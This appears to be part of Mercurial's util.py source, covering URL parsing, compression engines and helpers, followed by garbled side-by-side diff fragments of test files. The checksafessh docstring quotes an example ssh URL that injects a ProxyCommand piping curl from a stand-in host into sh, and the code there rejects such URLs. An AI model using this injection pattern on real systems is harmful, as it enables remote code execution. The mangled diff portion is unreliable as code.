if (self.host and self.scheme == 'file' and
self.host not in ('localhost', '127.0.0.1', '[::1]')):
raise Abort(_('file:// URLs can only refer to localhost'))
self.path = path
# leave the query string escaped
for a in ('user', 'passwd', 'host', 'port',
'path', 'fragment'):
v = getattr(self, a)
if v is not None:
setattr(self, a, urlreq.unquote(v))
@encoding.strmethod
def __repr__(self):
attrs = []
for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
'query', 'fragment'):
v = getattr(self, a)
if v is not None:
attrs.append('%s: %r' % (a, v))
return '<url %s>' % ', '.join(attrs)
def __bytes__(self):
r"""Join the URL's components back into a URL string.
Examples:
>>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
>>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
'http://user:pw@host:80/?foo=bar&baz=42'
>>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
'http://user:pw@host:80/?foo=bar%3dbaz'
>>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
'ssh://user:pw@[::1]:2200//home/joe#'
>>> bytes(url(b'http://localhost:80//'))
'http://localhost:80//'
>>> bytes(url(b'http://localhost:80/'))
'http://localhost:80/'
>>> bytes(url(b'http://localhost:80'))
'http://localhost:80/'
>>> bytes(url(b'bundle:foo'))
'bundle:foo'
>>> bytes(url(b'bundle://../foo'))
'bundle:../foo'
>>> bytes(url(b'path'))
'path'
>>> bytes(url(b'file:///tmp/foo/bar'))
'file:///tmp/foo/bar'
>>> bytes(url(b'file:///c:/tmp/foo/bar'))
'file:///c:/tmp/foo/bar'
>>> print(url(br'bundle:foo\bar'))
bundle:foo\bar
>>> print(url(br'file:///D:\data\hg'))
file:///D:\data\hg
"""
if self._localpath:
s = self.path
if self.scheme == 'bundle':
s = 'bundle:' + s
if self.fragment:
s += '#' + self.fragment
return s
s = self.scheme + ':'
if self.user or self.passwd or self.host:
s += '//'
elif self.scheme and (not self.path or self.path.startswith('/')
or hasdriveletter(self.path)):
s += '//'
if hasdriveletter(self.path):
s += '/'
if self.user:
s += urlreq.quote(self.user, safe=self._safechars)
if self.passwd:
s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
if self.user or self.passwd:
s += '@'
if self.host:
if not (self.host.startswith('[') and self.host.endswith(']')):
s += urlreq.quote(self.host)
else:
s += self.host
if self.port:
s += ':' + urlreq.quote(self.port)
if self.host:
s += '/'
if self.path:
# TODO: similar to the query string, we should not unescape the
# path when we store it, the path might contain '%2f' = '/',
# which we should *not* escape.
s += urlreq.quote(self.path, safe=self._safepchars)
if self.query:
# we store the query in escaped form.
s += '?' + self.query
if self.fragment is not None:
s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
return s
__str__ = encoding.strmethod(__bytes__)
def authinfo(self):
user, passwd = self.user, self.passwd
try:
self.user, self.passwd = None, None
s = bytes(self)
finally:
self.user, self.passwd = user, passwd
if not self.user:
return (s, None)
# authinfo[1] is passed to urllib2 password manager, and its
# URIs must not contain credentials. The host is passed in the
# URIs list because Python < 2.4.3 uses only that to search for
# a password.
return (s, (None, (s, self.host),
self.user, self.passwd or ''))
def isabs(self):
if self.scheme and self.scheme != 'file':
return True # remote URL
if hasdriveletter(self.path):
return True # absolute for our purposes - can't be joined()
if self.path.startswith(br'\\'):
return True # Windows UNC path
if self.path.startswith('/'):
return True # POSIX-style
return False
def localpath(self):
if self.scheme == 'file' or self.scheme == 'bundle':
path = self.path or '/'
# For Windows, we need to promote hosts containing drive
# letters to paths with drive letters.
if hasdriveletter(self._hostport):
path = self._hostport + '/' + self.path
elif (self.host is not None and self.path
and not hasdriveletter(path)):
path = '/' + path
return path
return self._origpath
def islocal(self):
'''whether localpath will return something that posixfile can open'''
return (not self.scheme or self.scheme == 'file'
or self.scheme == 'bundle')
def hasscheme(path):
return bool(url(path).scheme)
def hasdriveletter(path):
return path and path[1:2] == ':' and path[0:1].isalpha()
def urllocalpath(path):
return url(path, parsequery=False, parsefragment=False).localpath()
def checksafessh(path):
"""check if a path / url is a potentially unsafe ssh exploit (SEC)
This is a sanity check for ssh urls. ssh will parse the first item as
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
Let's prevent these potentially exploited urls entirely and warn the
user.
Raises an error.Abort when the url is unsafe.
"""
path = urlreq.unquote(path)
if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
raise error.Abort(_('potentially unsafe url: %r') %
(path,))
def hidepassword(u):
'''hide user credential in a url string'''
u = url(u)
if u.passwd:
u.passwd = '***'
return bytes(u)
def removeauth(u):
'''remove all authentication information from a url string'''
u = url(u)
u.user = u.passwd = None
return str(u)
timecount = unitcountfn(
(1, 1e3, _('%.0f s')),
(100, 1, _('%.1f s')),
(10, 1, _('%.2f s')),
(1, 1, _('%.3f s')),
(100, 0.001, _('%.1f ms')),
(10, 0.001, _('%.2f ms')),
(1, 0.001, _('%.3f ms')),
(100, 0.000001, _('%.1f us')),
(10, 0.000001, _('%.2f us')),
(1, 0.000001, _('%.3f us')),
(100, 0.000000001, _('%.1f ns')),
(10, 0.000000001, _('%.2f ns')),
(1, 0.000000001, _('%.3f ns')),
)
_timenesting = [0]
def timed(func):
'''Report the execution time of a function call to stderr.
During development, use as a decorator when you need to measure
the cost of a function, e.g. as follows:
@util.timed
def foo(a, b, c):
pass
'''
def wrapper(*args, **kwargs):
start = timer()
indent = 2
_timenesting[0] += indent
try:
return func(*args, **kwargs)
finally:
elapsed = timer() - start
_timenesting[0] -= indent
stderr.write('%s%s: %s\n' %
(' ' * _timenesting[0], func.__name__,
timecount(elapsed)))
return wrapper
_sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
def sizetoint(s):
'''Convert a space specifier to a byte count.
>>> sizetoint(b'30')
30
>>> sizetoint(b'2.2kb')
2252
>>> sizetoint(b'6M')
6291456
'''
t = s.strip().lower()
try:
for k, u in _sizeunits:
if t.endswith(k):
return int(float(t[:-len(k)]) * u)
return int(t)
except ValueError:
raise error.ParseError(_("couldn't parse size: %s") % s)
class hooks(object):
'''A collection of hook functions that can be used to extend a
function's behavior. Hooks are called in lexicographic order,
based on the names of their sources.'''
def __init__(self):
self._hooks = []
def add(self, source, hook):
self._hooks.append((source, hook))
def __call__(self, *args):
self._hooks.sort(key=lambda x: x[0])
results = []
for source, hook in self._hooks:
results.append(hook(*args))
return results
def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
'''Yields lines for a nicely formatted stacktrace.
Skips the 'skip' last entries, then return the last 'depth' entries.
Each file+linenumber is formatted according to fileline.
Each line is formatted according to line.
If line is None, it yields:
length of longest filepath+line number,
filepath+linenumber,
function
Not be used in production code but very convenient while developing.
'''
entries = [(fileline % (fn, ln), func)
for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
][-depth:]
if entries:
fnmax = max(len(entry[0]) for entry in entries)
for fnln, func in entries:
if line is None:
yield (fnmax, fnln, func)
else:
yield line % (fnmax, fnln, func)
def debugstacktrace(msg='stacktrace', skip=0,
f=stderr, otherf=stdout, depth=0):
'''Writes a message to f (stderr) with a nicely formatted stacktrace.
Skips the 'skip' entries closest to the call, then show 'depth' entries.
By default it will flush stdout first.
It can be used everywhere and intentionally does not require an ui object.
Not be used in production code but very convenient while developing.
'''
if otherf:
otherf.flush()
f.write('%s at:\n' % msg.rstrip())
for line in getstackframes(skip + 1, depth=depth):
f.write(line)
f.flush()
class dirs(object):
'''a multiset of directory names from a dirstate or manifest'''
def __init__(self, map, skip=None):
self._dirs = {}
addpath = self.addpath
if safehasattr(map, 'iteritems') and skip is not None:
for f, s in map.iteritems():
if s[0] != skip:
addpath(f)
else:
for f in map:
addpath(f)
def addpath(self, path):
dirs = self._dirs
for base in finddirs(path):
if base in dirs:
dirs[base] += 1
return
dirs[base] = 1
def delpath(self, path):
dirs = self._dirs
for base in finddirs(path):
if dirs[base] > 1:
dirs[base] -= 1
return
del dirs[base]
def __iter__(self):
return iter(self._dirs)
def __contains__(self, d):
return d in self._dirs
if safehasattr(parsers, 'dirs'):
dirs = parsers.dirs
def finddirs(path):
pos = path.rfind('/')
while pos != -1:
yield path[:pos]
pos = path.rfind('/', 0, pos)
# compression code
SERVERROLE = 'server'
CLIENTROLE = 'client'
compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
(u'name', u'serverpriority',
u'clientpriority'))
class compressormanager(object):
"""Holds registrations of various compression engines.
This class essentially abstracts the differences between compression
engines to allow new compression formats to be added easily, possibly from
extensions.
Compressors are registered against the global instance by calling its
``register()`` method.
"""
def __init__(self):
self._engines = {}
# Bundle spec human name to engine name.
self._bundlenames = {}
# Internal bundle identifier to engine name.
self._bundletypes = {}
# Revlog header to engine name.
self._revlogheaders = {}
# Wire proto identifier to engine name.
self._wiretypes = {}
def __getitem__(self, key):
return self._engines[key]
def __contains__(self, key):
return key in self._engines
def __iter__(self):
return iter(self._engines.keys())
def register(self, engine):
"""Register a compression engine with the manager.
The argument must be a ``compressionengine`` instance.
"""
if not isinstance(engine, compressionengine):
raise ValueError(_('argument must be a compressionengine'))
name = engine.name()
if name in self._engines:
raise error.Abort(_('compression engine %s already registered') %
name)
bundleinfo = engine.bundletype()
if bundleinfo:
bundlename, bundletype = bundleinfo
if bundlename in self._bundlenames:
raise error.Abort(_('bundle name %s already registered') %
bundlename)
if bundletype in self._bundletypes:
raise error.Abort(_('bundle type %s already registered by %s') %
(bundletype, self._bundletypes[bundletype]))
# No external facing name declared.
if bundlename:
self._bundlenames[bundlename] = name
self._bundletypes[bundletype] = name
wiresupport = engine.wireprotosupport()
if wiresupport:
wiretype = wiresupport.name
if wiretype in self._wiretypes:
raise error.Abort(_('wire protocol compression %s already '
'registered by %s') %
(wiretype, self._wiretypes[wiretype]))
self._wiretypes[wiretype] = name
revlogheader = engine.revlogheader()
if revlogheader and revlogheader in self._revlogheaders:
raise error.Abort(_('revlog header %s already registered by %s') %
(revlogheader, self._revlogheaders[revlogheader]))
if revlogheader:
self._revlogheaders[revlogheader] = name
self._engines[name] = engine
@property
def supportedbundlenames(self):
return set(self._bundlenames.keys())
@property
def supportedbundletypes(self):
return set(self._bundletypes.keys())
def forbundlename(self, bundlename):
"""Obtain a compression engine registered to a bundle name.
Will raise KeyError if the bundle type isn't registered.
Will abort if the engine is known but not available.
"""
engine = self._engines[self._bundlenames[bundlename]]
if not engine.available():
raise error.Abort(_('compression engine %s could not be loaded') %
engine.name())
return engine
def forbundletype(self, bundletype):
"""Obtain a compression engine registered to a bundle type.
Will raise KeyError if the bundle type isn't registered.
Will abort if the engine is known but not available.
"""
engine = self._engines[self._bundletypes[bundletype]]
if not engine.available():
raise error.Abort(_('compression engine %s could not be loaded') %
engine.name())
return engine
def supportedwireengines(self, role, onlyavailable=True):
"""Obtain compression engines that support the wire protocol.
Returns a list of engines in prioritized order, most desired first.
If ``onlyavailable`` is set, filter out engines that can't be
loaded.
"""
assert role in (SERVERROLE, CLIENTROLE)
attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
engines = [self._engines[e] for e in self._wiretypes.values()]
if onlyavailable:
engines = [e for e in engines if e.available()]
def getkey(e):
# Sort first by priority, highest first. In case of tie, sort
# alphabetically. This is arbitrary, but ensures output is
# stable.
w = e.wireprotosupport()
return -1 * getattr(w, attr), w.name
return list(sorted(engines, key=getkey))
def forwiretype(self, wiretype):
engine = self._engines[self._wiretypes[wiretype]]
if not engine.available():
raise error.Abort(_('compression engine %s could not be loaded') %
engine.name())
return engine
def forrevlogheader(self, header):
"""Obtain a compression engine registered to a revlog header.
Will raise KeyError if the revlog header value isn't registered.
"""
return self._engines[self._revlogheaders[header]]
compengines = compressormanager()
class compressionengine(object):
"""Base class for compression engines.
Compression engines must implement the interface defined by this class.
"""
def name(self):
"""Returns the name of the compression engine.
This is the key the engine is registered under.
This method must be implemented.
"""
raise NotImplementedError()
def available(self):
"""Whether the compression engine is available.
The intent of this method is to allow optional compression engines
that may not be available in all installations (such as engines relying
on C extensions that may not be present).
"""
return True
def bundletype(self):
"""Describes bundle identifiers for this engine.
If this compression engine isn't supported for bundles, returns None.
If this engine can be used for bundles, returns a 2-tuple of strings of
the user-facing "bundle spec" compression name and an internal
identifier used to denote the compression format within bundles. To
exclude the name from external usage, set the first element to ``None``.
If bundle compression is supported, the class must also implement
``compressstream`` and `decompressorreader``.
The docstring of this method is used in the help system to tell users
about this engine.
"""
return None
def wireprotosupport(self):
"""Declare support for this compression format on the wire protocol.
If this compression engine isn't supported for compressing wire
protocol payloads, returns None.
Otherwise, returns ``compenginewireprotosupport`` with the following
fields:
* String format identifier
* Integer priority for the server
* Integer priority for the client
The integer priorities are used to order the advertisement of format
support by server and client. The highest integer is advertised
first. Integers with non-positive values aren't advertised.
The priority values are somewhat arbitrary and only used for default
ordering. The relative order can be changed via config options.
If wire protocol compression is supported, the class must also implement
``compressstream`` and ``decompressorreader``.
"""
return None
def revlogheader(self):
"""Header added to revlog chunks that identifies this engine.
If this engine can be used to compress revlogs, this method should
return the bytes used to identify chunks compressed with this engine.
Else, the method should return ``None`` to indicate it does not
participate in revlog compression.
"""
return None
def compressstream(self, it, opts=None):
"""Compress an iterator of chunks.
The method receives an iterator (ideally a generator) of chunks of
bytes to be compressed. It returns an iterator (ideally a generator)
of bytes of chunks representing the compressed output.
Optionally accepts an argument defining how to perform compression.
Each engine treats this argument differently.
"""
raise NotImplementedError()
def decompressorreader(self, fh):
"""Perform decompression on a file object.
Argument is an object with a ``read(size)`` method that returns
compressed data. Return value is an object with a ``read(size)`` that
returns uncompressed data.
"""
raise NotImplementedError()
def revlogcompressor(self, opts=None):
"""Obtain an object that can be used to compress revlog entries.
The object has a ``compress(data)`` method that compresses binary
data. This method returns compressed binary data or ``None`` if
the data could not be compressed (too small, not compressible, etc).
The returned data should have a header uniquely identifying this
compression format so decompression can be routed to this engine.
This header should be identified by the ``revlogheader()`` return
value.
The object has a ``decompress(data)`` method that decompresses
data. The method will only be called if ``data`` begins with
``revlogheader()``. The method should return the raw, uncompressed
data or raise a ``RevlogError``.
The object is reusable but is not thread safe.
"""
raise NotImplementedError()
class _zlibengine(compressionengine):
def name(self):
return 'zlib'
def bundletype(self):
"""zlib compression using the DEFLATE algorithm.
All Mercurial clients should support this format. The compression
algorithm strikes a reasonable balance between compression ratio
and size.
"""
return 'gzip', 'GZ'
def wireprotosupport(self):
return compewireprotosupport('zlib', 20, 20)
def revlogheader(self):
return 'x'
def compressstream(self, it, opts=None):
opts = opts or {}
z = zlib.compressobj(opts.get('level', -1))
for chunk in it:
data = z.compress(chunk)
# Not all calls to compress emit data. It is cheaper to inspect
# here than to feed empty chunks through generator.
if data:
yield data
yield z.flush()
def decompressorreader(self, fh):
def gen():
d = zlib.decompressobj()
for chunk in filechunkiter(fh):
while chunk:
# Limit output size to limit memory.
yield d.decompress(chunk, 2 ** 18)
chunk = d.unconsumed_tail
return chunkbuffer(gen())
class zlibrevlogcompressor(object):
def compress(self, data):
insize = len(data)
# Caller handles empty input case.
assert insize > 0
if insize < 44:
return None
elif insize <= 1000000:
compressed = zlib.compress(data)
if len(compressed) < insize:
return compressed
return None
# zlib makes an internal copy of the input buffer, doubling
# memory usage for large inputs. So do streaming compression
# on large inputs.
else:
z = zlib.compressobj()
parts = []
pos = 0
while pos < insize:
pos2 = pos + 2**20
parts.append(z.compress(data[pos:pos2]))
pos = pos2
parts.append(z.flush())
if sum(map(len, parts)) < insize:
return ''.join(parts)
return None
def decompress(self, data):
try:
return zlib.decompress(data)
except zlib.error as e:
raise error.RevlogError(_('revlog decompress error: %s') %
str(e))
def revlogcompressor(self, opts=None):
return self.zlibrevlogcompressor()
compengines.register(_zlibengine())
class _bz2engine(compressionengine):
def name(self):
return 'bz2'
def bundletype(self):
"""An algorithm that produces smaller bundles than ``gzip``.
All Mercurial clients should support this format.
This engine will likely produce smaller bundles than ``gzip`` but
will be significantly slower, both during compression and
decompression.
If available, the ``zstd`` engine can yield similar or better
compression at much higher speeds.
"""
return 'bzip2', 'BZ'
# We declare a protocol name but don't advertise by default because
# it is slow.
def wireprotosupport(self):
return compewireprotosupport('bzip2', 0, 0)
def compressstream(self, it, opts=None):
opts = opts or {}
z = bz2.BZ2Compressor(opts.get('level', 9))
for chunk in it:
data = z.compress(chunk)
if data:
yield data
yield z.flush()
def decompressorreader(self, fh):
def gen():
d = bz2.BZ2Decompressor()
for chunk in filechunkiter(fh):
yield d.decompress(chunk)
return chunkbuffer(gen())
compengines.register(_bz2engine())
class _truncatedbz2engine(compressionengine):
def name(self):
return 'bz2truncated'
def bundletype(self):
return None, '_truncatedBZ'
# We don't implement compressstream because it is hackily handled elsewhere.
def decompressorreader(self, fh):
def gen():
# The input stream doesn't have the 'BZ' header. So add it back.
d = bz2.BZ2Decompressor()
d.decompress('BZ')
for chunk in filechunkiter(fh):
yield d.decompress(chunk)
return chunkbuffer(gen())
compengines.register(_truncatedbz2engine())
class _noopengine(compressionengine):
def name(self):
return 'none'
def bundletype(self):
"""No compression is performed.
Use this compression engine to explicitly disable compression.
"""
return 'none', 'UN'
# Clients always support uncompressed payloads. Servers don't because
# unless you are on a fast network, uncompressed payloads can easily
# saturate your network pipe.
def wireprotosupport(self):
return compewireprotosupport('none', 0, 10)
# We don't implement revlogheader because it is handled specially
# in the revlog class.
def compressstream(self, it, opts=None):
return it
def decompressorreader(self, fh):
return fh
class nooprevlogcompressor(object):
def compress(self, data):
return None
def revlogcompressor(self, opts=None):
return self.nooprevlogcompressor()
compengines.register(_noopengine())
class _zstdengine(compressionengine):
def name(self):
return 'zstd'
@propertycache
def _module(self):
# Not all installs have the zstd module available. So defer importing
# until first access.
try:
from . import zstd
# Force delayed import.
zstd.__version__
return zstd
except ImportError:
return None
def available(self):
return bool(self._module)
def bundletype(self):
"""A modern compression algorithm that is fast and highly flexible.
Only supported by Mercurial 4.1 and newer clients.
With the default settings, zstd compression is both faster and yields
better compression than ``gzip``. It also frequently yields better
compression than ``bzip2`` while operating at much higher speeds.
If this engine is available and backwards compatibility is not a
concern, it is likely the best available engine.
"""
return 'zstd', 'ZS'
def wireprotosupport(self):
return compewireprotosupport('zstd', 50, 50)
def revlogheader(self):
return '\x28'
def compressstream(self, it, opts=None):
opts = opts or {}
# zstd level 3 is almost always significantly faster than zlib
# while providing no worse compression. It strikes a good balance
# between speed and compression.
level = opts.get('level', 3)
zstd = self._module
z = zstd.ZstdCompressor(level=level).compressobj()
for chunk in it:
data = z.compress(chunk)
if data:
yield data
yield z.flush()
def decompressorreader(self, fh):
zstd = self._module
dctx = zstd.ZstdDecompressor()
return chunkbuffer(dctx.read_from(fh))
class zstdrevlogcompressor(object):
def __init__(self, zstd, level=3):
# Writing the content size adds a few bytes to the output. However,
# it allows decompression to be more optimal since we can
# pre-allocate a buffer to hold the result.
self._cctx = zstd.ZstdCompressor(level=level,
write_content_size=True)
self._dctx = zstd.ZstdDecompressor()
self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
def compress(self, data):
insize = len(data)
# Caller handles empty input case.
assert insize > 0
if insize < 50:
return None
elif insize <= 1000000:
compressed = self._cctx.compress(data)
if len(compressed) < insize:
return compressed
return None
else:
z = self._cctx.compressobj()
chunks = []
pos = 0
while pos < insize:
pos2 = pos + self._compinsize
chunk = z.compress(data[pos:pos2])
if chunk:
chunks.append(chunk)
pos = pos2
chunks.append(z.flush())
if sum(map(len, chunks)) < insize:
return ''.join(chunks)
return None
def decompress(self, data):
insize = len(data)
try:
# This was measured to be faster than other streaming
# decompressors.
dobj = self._dctx.decompressobj()
chunks = []
pos = 0
while pos < insize:
pos2 = pos + self._decompinsize
chunk = dobj.decompress(data[pos:pos2])
if chunk:
chunks.append(chunk)
pos = pos2
# Frame should be exhausted, so no finish() API.
return ''.join(chunks)
except Exception as e:
raise error.RevlogError(_('revlog decompress error: %s') %
str(e))
def revlogcompressor(self, opts=None):
opts = opts or {}
return self.zstdrevlogcompressor(self._module,
level=opts.get('level', 3))
compengines.register(_zstdengine())
def bundlecompressiontopics():
"""Obtains a list of available bundle compressions for use in help."""
# help.makeitemsdocs() expects a dict of names to items with a .__doc__.
items = {}
# We need to format the docstring. So use a dummy object/type to hold it
# rather than mutating the original.
class docobject(object):
pass
for name in compengines:
engine = compengines[name]
if not engine.available():
continue
bt = engine.bundletype()
if not bt or not bt[0]:
continue
doc = pycompat.sysstr('``%s``\n %s') % (
bt[0], engine.bundletype.__doc__)
value = docobject()
value.__doc__ = doc
value._origdoc = engine.bundletype.__doc__
value._origfunc = engine.bundletype
items[bt[0]] = value
return items
i18nfunctions = bundlecompressiontopics().values()
# convenient shortcut
dst = debugstacktrace
def safename(f, tag, ctx, others=None):
"""
Generate a name that it is safe to rename f to in the given context.
f: filename to rename
tag: a string tag that will be included in the new name
ctx: a context, in which the new name must not exist
others: a set of other filenames that the new name must not be in
Returns a file name of the form oldname~tag[~number] which does not exist
in the provided context and is not in the set of other names.
"""
if others is None:
others = set()
fn = '%s~%s' % (f, tag)
if fn not in ctx and fn not in others:
return fn
for n in itertools.count(1):
fn = '%s~%s~%s' % (f, tag, n)
if fn not in ctx and fn not in others:
return fn
def readexactly(stream, n):
'''read n bytes from stream.read and abort if less was available'''
s = stream.read(n)
if len(s) < n:
raise error.Abort(_("stream ended unexpectedly"
" (got %d bytes, expected %d)")
% (len(s), n))
return s
def uvarintencode(value):
"""Encode an unsigned integer value to a varint.
A varint is a variable length integer of 1 or more bytes. Each byte
except the last has the most significant bit set. The lower 7 bits of
each byte store the 2's complement representation, least significant group
first.
>>> uvarintencode(0)
'\\x00'
>>> uvarintencode(1)
'\\x01'
>>> uvarintencode(127)
'\\x7f'
>>> uvarintencode(1337)
'\\xb9\\n'
>>> uvarintencode(65536)
'\\x80\\x80\\x04'
>>> uvarintencode(-1)
Traceback (most recent call last):
...
ProgrammingError: negative value for uvarint: -1
"""
if value < 0:
raise error.ProgrammingError('negative value for uvarint: %d'
% value)
bits = value & 0x7f
value >>= 7
bytes = []
while value:
bytes.append(pycompat.bytechr(0x80 | bits))
bits = value & 0x7f
value >>= 7
bytes.append(pycompat.bytechr(bits))
return ''.join(bytes)
def uvarintdecodestream(fh):
"""Decode an unsigned variable length integer from a stream.
The passed argument is anything that has a ``.read(N)`` method.
>>> try:
... from StringIO import StringIO as BytesIO
... except ImportError:
... from io import BytesIO
>>> uvarintdecodestream(BytesIO(b'\\x00'))
0
>>> uvarintdecodestream(BytesIO(b'\\x01'))
1
>>> uvarintdecodestream(BytesIO(b'\\x7f'))
127
>>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
1337
>>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
65536
>>> uvarintdecodestream(BytesIO(b'\\x80'))
Traceback (most recent call last):
...
Abort: stream ended unexpectedly (got 0 bytes, expected 1)
"""
result = 0
shift = 0
while True:
byte = ord(readexactly(fh, 1))
result |= ((byte & 0x7f) << shift)
if not (byte & 0x80):
return result
shift += 7

tests/fakedirstatewritetime.py

# extension to emulate invoking 'dirstate.write()' at the time # extension to emulate invoking 'dirstate.write()' at the time
# specified by '[fakedirstatewritetime] fakenow', only when # specified by '[fakedirstatewritetime] fakenow', only when
# 'dirstate.write()' is invoked via functions below: # 'dirstate.write()' is invoked via functions below:
# #
# - 'workingctx._poststatusfixup()' (= 'repo.status()') # - 'workingctx._poststatusfixup()' (= 'repo.status()')
# - 'committablectx.markcommitted()' # - 'committablectx.markcommitted()'
from __future__ import absolute_import from __future__ import absolute_import
from mercurial import ( from mercurial import (
context, context,
dirstate, dirstate,
extensions, extensions,
policy, policy,
registrar, registrar,
util,
) )
from mercurial.utils import dateutil
configtable = {} configtable = {}
configitem = registrar.configitem(configtable) configitem = registrar.configitem(configtable)
configitem('fakedirstatewritetime', 'fakenow', configitem('fakedirstatewritetime', 'fakenow',
default=None, default=None,
) )
# Execute original one, if fakenow isn't configured. This is # Execute original one, if fakenow isn't configured. This is
# useful to prevent subrepos from executing replaced one, # useful to prevent subrepos from executing replaced one,
# because replacing 'parsers.pack_dirstate' is also effective # because replacing 'parsers.pack_dirstate' is also effective
# in subrepos. # in subrepos.
return func() return func()
# parsing 'fakenow' in YYYYmmddHHMM format makes comparison between # parsing 'fakenow' in YYYYmmddHHMM format makes comparison between
# 'fakenow' value and 'touch -t YYYYmmddHHMM' argument easy # 'fakenow' value and 'touch -t YYYYmmddHHMM' argument easy
fakenow = util.parsedate(fakenow, ['%Y%m%d%H%M'])[0] fakenow = dateutil.parsedate(fakenow, ['%Y%m%d%H%M'])[0]
orig_pack_dirstate = parsers.pack_dirstate orig_pack_dirstate = parsers.pack_dirstate
orig_dirstate_getfsnow = dirstate._getfsnow orig_dirstate_getfsnow = dirstate._getfsnow
wrapper = lambda *args: pack_dirstate(fakenow, orig_pack_dirstate, *args) wrapper = lambda *args: pack_dirstate(fakenow, orig_pack_dirstate, *args)
parsers.pack_dirstate = wrapper parsers.pack_dirstate = wrapper
dirstate._getfsnow = lambda *args: fakenow dirstate._getfsnow = lambda *args: fakenow
try: try:

tests/fakepatchtime.py

# extension to emulate invoking 'patch.internalpatch()' at the time # extension to emulate invoking 'patch.internalpatch()' at the time
# specified by '[fakepatchtime] fakenow' # specified by '[fakepatchtime] fakenow'
from __future__ import absolute_import from __future__ import absolute_import
from mercurial import ( from mercurial import (
extensions, extensions,
patch as patchmod, patch as patchmod,
registrar, registrar,
util,
) )
from mercurial.utils import dateutil
configtable = {} configtable = {}
configitem = registrar.configitem(configtable) configitem = registrar.configitem(configtable)
configitem('fakepatchtime', 'fakenow', configitem('fakepatchtime', 'fakenow',
default=None, default=None,
) )
def internalpatch(orig, ui, repo, patchobj, strip, def internalpatch(orig, ui, repo, patchobj, strip,
prefix='', files=None, prefix='', files=None,
eolmode='strict', similarity=0): eolmode='strict', similarity=0):
if files is None: if files is None:
files = set() files = set()
r = orig(ui, repo, patchobj, strip, r = orig(ui, repo, patchobj, strip,
prefix=prefix, files=files, prefix=prefix, files=files,
eolmode=eolmode, similarity=similarity) eolmode=eolmode, similarity=similarity)
fakenow = ui.config('fakepatchtime', 'fakenow') fakenow = ui.config('fakepatchtime', 'fakenow')
if fakenow: if fakenow:
# parsing 'fakenow' in YYYYmmddHHMM format makes comparison between # parsing 'fakenow' in YYYYmmddHHMM format makes comparison between
# 'fakenow' value and 'touch -t YYYYmmddHHMM' argument easy # 'fakenow' value and 'touch -t YYYYmmddHHMM' argument easy
fakenow = util.parsedate(fakenow, ['%Y%m%d%H%M'])[0] fakenow = dateutil.parsedate(fakenow, ['%Y%m%d%H%M'])[0]
for f in files: for f in files:
repo.wvfs.utime(f, (fakenow, fakenow)) repo.wvfs.utime(f, (fakenow, fakenow))
return r return r
def extsetup(ui): def extsetup(ui):
extensions.wrapfunction(patchmod, 'internalpatch', internalpatch) extensions.wrapfunction(patchmod, 'internalpatch', internalpatch)

tests/test-journal.t

Tests for the journal extension; records bookmark locations. Tests for the journal extension; records bookmark locations.
$ cat >> testmocks.py << EOF $ cat >> testmocks.py << EOF
> # mock out util.getuser() and util.makedate() to supply testable values > # mock out util.getuser() and util.makedate() to supply testable values
> import os > import os
> from mercurial import util > from mercurial import util
> from mercurial.utils import dateutil
> def mockgetuser(): > def mockgetuser():
> return 'foobar' > return 'foobar'
> >
> def mockmakedate(): > def mockmakedate():
> filename = os.path.join(os.environ['TESTTMP'], 'testtime') > filename = os.path.join(os.environ['TESTTMP'], 'testtime')
> try: > try:
> with open(filename, 'rb') as timef: > with open(filename, 'rb') as timef:
> time = float(timef.read()) + 1 > time = float(timef.read()) + 1
> except IOError: > except IOError:
> time = 0.0 > time = 0.0
> with open(filename, 'wb') as timef: > with open(filename, 'wb') as timef:
> timef.write(str(time)) > timef.write(str(time))
> return (time, 0) > return (time, 0)
> >
> util.getuser = mockgetuser > util.getuser = mockgetuser
> util.makedate = mockmakedate > dateutil.makedate = mockmakedate
> EOF > EOF
$ cat >> $HGRCPATH << EOF $ cat >> $HGRCPATH << EOF
> [extensions] > [extensions]
> journal= > journal=
> testmocks=`pwd`/testmocks.py > testmocks=`pwd`/testmocks.py
> EOF > EOF
mercurial/util.py